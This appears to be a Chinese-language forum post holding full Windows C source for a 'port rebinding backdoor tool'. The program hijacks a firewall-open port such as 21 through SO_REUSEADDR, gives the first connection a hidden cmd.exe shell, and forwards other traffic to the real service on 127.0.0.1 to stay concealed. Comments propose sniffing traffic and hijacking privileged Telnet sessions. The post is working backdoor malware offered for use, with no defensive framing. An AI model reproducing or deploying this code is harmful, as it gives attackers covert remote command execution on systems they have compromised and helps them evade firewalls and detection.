信息来源:dahubaobao
端口复用相关资料- /*
- ***********************************************************
- 端口重绑定后门工具
- 原理:通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
- 感谢:wineggdrop(还有一位不知道名字,本程序主干修改自他的代码)
- 用途:当防火墙BT到连反向连接到封闭时,可以尝试一下这个
- 留言:其实我也是脚本小子,我只是把两位大虾的代码合并在一齐而已
- 了,自己写的不过10行。其实还有一个svchost.exe的功能是一样
- 过我发现那个不好使,所以就写了这个。
- ***********************************************************
- */
- #include "stdafx.h"
- #include <winsock2.h>
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #pragma comment(lib, "ws2_32.lib")
- DWORD WINAPI ClientThread(LPVOID lpParam);//原端口转发
- DWORD WINAPI ServerThread(LPVOID lpParam);//CMDSHELL线程,抄写自wineggdrop
- unsigned int port=21;//重绑定端口
- BOOL Connected;
- //************抄写自wineggdrop的代码***************
- unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,unsigned int BufferSize)
- {
- ZeroMemory(Buffer,BufferSize); // Reset The Buffer
- if (BufferSize < 2) // Buffer Size Is Less Then 2
- {
- return 0; // Dump
- }
- unsigned int CharacterCount = 0;
- while(TRUE)
- {
- if (CharacterCount >= BufferSize) // The Characters Received Is Bigger Or Equal The Buffer Size
- {
- // Give The Buffer An Enter
- Buffer[BufferSize-2] = '\r';
- Buffer[BufferSize-1] = '\n';
- return CharacterCount; // Return The Characters Received
- }
- if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR) // Fail To Receive Data
- {
- return SOCKET_ERROR; // Return Error
- }
- if (Buffer[CharacterCount] == '\b') // Back Space Detected
- {
- Buffer[CharacterCount] = '\0'; // Skip It
- if (CharacterCount > 0) // Characters Received Is Bigger Than 0
- {
- CharacterCount--; // Decrease One Character
- Buffer[CharacterCount] = '\0';
- }
- continue; // Begin A New Loop
- }
- if (Buffer[CharacterCount++] == '\n') // Enter Is Detected
- {
- return CharacterCount; // Return The Characters Received
- }
- }
- return 0;
- }
- BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
- {
- return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
- }
- //***********抄写结束*******
- int usage(char * appname)
- {
- printf("%s 端口重绑定后门工具\n"
- "使用方法:%s [重绑定端口(可选,默认是80)] \n",appname,appname);
- exit(0);
- }
- int main(int argc, char* argv[])
- {
- WORD wVersionRequested;
- DWORD ret;
- WSADATA wsaData;
- BOOL val;
- SOCKADDR_IN saddr;
- SOCKADDR_IN scaddr;
- int err;
- SOCKET s;
- SOCKET sc;
- int caddsize;
- HANDLE mt;
- DWORD tid;
- Connected=FALSE;
- if (argc!=1)
- port=atoi(argv[1]);
- printf("[i]Startup.....\n");
- wVersionRequested = MAKEWORD( 2, 2 );
- err = WSAStartup( wVersionRequested, &wsaData );
- if ( err != 0 ) {
- printf("[-]WSAStartup failed!\n");
- return -1;
- }
- saddr.sin_family = AF_INET;
- //截听虽然也可以将地址指定为INADDR_ANY,
- //但是要不能影响正常应用情况下,
- //应该指定具体的IP,留下127.0.0.1给正常的服务应用,
- //然后利用这个地址进行转发,
- //就可以不影响对方正常应用了
- printf("[i]Bind.....\n");
- //*********以下代码抄写自wineggdrop**********
- char FAR name[255];
- gethostname(name, 255);//获得主机名
- struct hostent FAR * pHostent;
- pHostent = (struct hostent * )malloc(sizeof(struct hostent));
- pHostent = gethostbyname(name);//获得IP
- memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); //复制IP
- //**********抄写结束*************
- saddr.sin_port = htons(port);
- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
- {
- printf("[-]socket failed!\n");
- return -1;
- }
- val = TRUE;
- //********以下代码修改自......不知道是谁,反正不是我原创的*********
- //SO_REUSEADDR选项就是可以实现端口重绑定的
- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
- {
- printf("[-]setsockopt failed!\n");
- return -1;
- }
- //如果指定了SO_EXCLUSIVEADDRUSE,
- //就不会绑定成功,返回无权限的错误代码;
- //如果是想通过重利用端口达到隐藏的目的,
- //就可以动态的测试当前已绑定的端口哪个可以成功,
- //就说明具备这个漏洞,然后动态利用端口使得更隐蔽
- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
- {
- ret=GetLastError();
- printf("[-]bind failed!\n");
- return -1;
- }
- while(1)
- {
- caddsize = sizeof(scaddr);
- //接受连接请求
- printf("[+]Listening.....\n");
- listen(s,5);
- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
- printf("[+]Someone connect port %d\n",port);
- if(sc!=INVALID_SOCKET)
- {
- if(Connected)
- {
- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
- printf("[+]%d -> %d Thread Created!\n",port,port);
- }
- else
- {
- mt = CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
- printf("[+] CMDShell Thread Created!\n");
- Connected=TRUE;
- }
- if(mt==NULL)
- {
- printf("Thread Creat Failed!\n");
- break;
- }
- }
- CloseHandle(mt);
- }
- closesocket(s);
- WSACleanup();
- return 0;
- }
- DWORD WINAPI ClientThread(LPVOID lpParam)//原端口转发
- {
- SOCKET ss = (SOCKET)lpParam;
- SOCKET sc;
- char buf[4096];
- SOCKADDR_IN saddr;
- long num;
- DWORD val;
- DWORD ret;
- //如果是隐藏端口应用的话,
- //可以在此处加一些判断
- //如果是自己的包,就可以进行一些特殊处理,
- //不是的话通过127.0.0.1进行转发
- saddr.sin_family = AF_INET;
- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
- saddr.sin_port = htons(port);
- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
- {
- printf("error!socket failed!\n");
- return -1;
- }
- val = 100;
- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
- {
- ret = GetLastError();
- return -1;
- }
- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
- {
- ret = GetLastError();
- return -1;
- }
- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
- {
- printf("error!socket connect failed!\n");
- closesocket(sc);
- closesocket(ss);
- return -1;
- }
- while(1)
- {
- //下面的代码主要是实现通过127。0。0。1
- //这个地址把包转发到真正的应用上,
- //并把应答的包再转发回去。
- //如果是嗅探内容的话,
- //可以再此处进行内容分析和记录
- //如果是攻击如TELNET服务器,
- //利用其高权限登陆用户的话,
- //可以分析其登陆用户,
- //然后利用发送特定的包以劫持的用户身份执行。
- num = recv(ss,&(buf[0]),4096,0);
- if(num>0)
- send(sc,buf,num,0);
- else if(num==0)
- break;
- num = recv(sc,buf,4096,0);
- if(num>0)
- send(ss,buf,num,0);
- else if(num==0)
- break;
- }
- closesocket(ss);
- closesocket(sc);
- return 0 ;
- }
- DWORD WINAPI ServerThread(LPVOID lpParam)//重定向线程
- {
- SOCKET ListenSocket = (SOCKET)lpParam;
- //**************除上面一句是自己的,下面的都是wineggdrop的代码:)******
- char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer
- char SendBuffer[1024 * 4]; // The Send Buffer
- unsigned long OutputLength,InputLength; // The Input And Output Length
- // The Pipe And Some Other Sutff
- HANDLE ClientReadPipe = NULL;
- HANDLE ClientWritePipe = NULL;
- HANDLE CmdWritePipe = NULL;
- HANDLE CmdReadPipe = NULL;
- SECURITY_ATTRIBUTES sa = {0};
- STARTUPINFO si = {0};
- PROCESS_INFORMATION pi = {0};
- ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
- if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory
- {
- strcat(ReceiveBuffer,"\\cmd.exe"); // Get The Cmd.exe Full Path
- }
- else // Fail To Get System Directory
- {
- SendSocket(ListenSocket,"Fail To Get System Diretory\r\n"); // Display Error Message
- return FALSE; // Return
- }
- // Initize The Stuff
- sa.nLength = sizeof(sa);
- sa.bInheritHandle = TRUE;
- sa.lpSecurityDescriptor = NULL;
- memset(&pi,0,sizeof(pi));
- if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create Client Read Pipe
- {
- SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n"); // Display Error Message
- goto CleanUP; // Leave
- }
- if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create Cmd Read Pipe
- {
- SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n"); // Display Error Message
- goto CleanUP; // Leave
- }
- // Reset And Initize Stuff
- memset((void *)&si,0,sizeof(si));
- memset((void *)&pi,0,sizeof(pi));
- si.cb = sizeof(si);
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- si.wShowWindow = SW_HIDE;
- si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput
- si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError
- si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput
- if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi)) // Fail To Create A Cmd Shell Process
- {
- SendSocket(ListenSocket,"Fail To Create Process\r\n"); // Display Error Message
- goto CleanUP; // Leave
- }
- while(TRUE) // Shell Commincation Starts Here
- {
- if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The Pipe
- {
- SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n"); // Display Error Message
- break; // Leave
- }
- if (OutputLength > 0) // Get Data From The Pipe Successfully
- {
- ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send Buffer
- if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read The Data
- {
- SendSocket(ListenSocket,"Fail To Read File\r\n"); // Display Error Message
- break; // Leave
- }
- if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR) // Fail To Send The Data
- {
- printf("Fail To Send Buffer\n"); // Display Error Message
- break; // Leave
- }
- }
- else
- {
- ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive Buffer
- InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer)); // Receive Input From Client
- if (InputLength == SOCKET_ERROR) // Fail To Receive Data
- {
- printf("Fail To Receive Buffer\n"); // Display Error Message
- break; // Leave
- }
- if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To Write The Received Data To The Pipe
- {
- printf("Fail To Write File\n"); // Display Error Message
- break; // Leave
- }
- // Leave The Shell
- if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
- break;
- }
- }
- // Clean All Resource Allocated
- CleanUP:
- if (CmdReadPipe != NULL)
- CloseHandle(CmdReadPipe);
- if (CmdWritePipe != NULL)
- CloseHandle(CmdWritePipe);
- if (ClientReadPipe != NULL)
- CloseHandle(ClientReadPipe);
- if (ClientWritePipe)
- CloseHandle(ClientWritePipe);
- Connected=FALSE;
-
- return 0;
- }
复制代码 |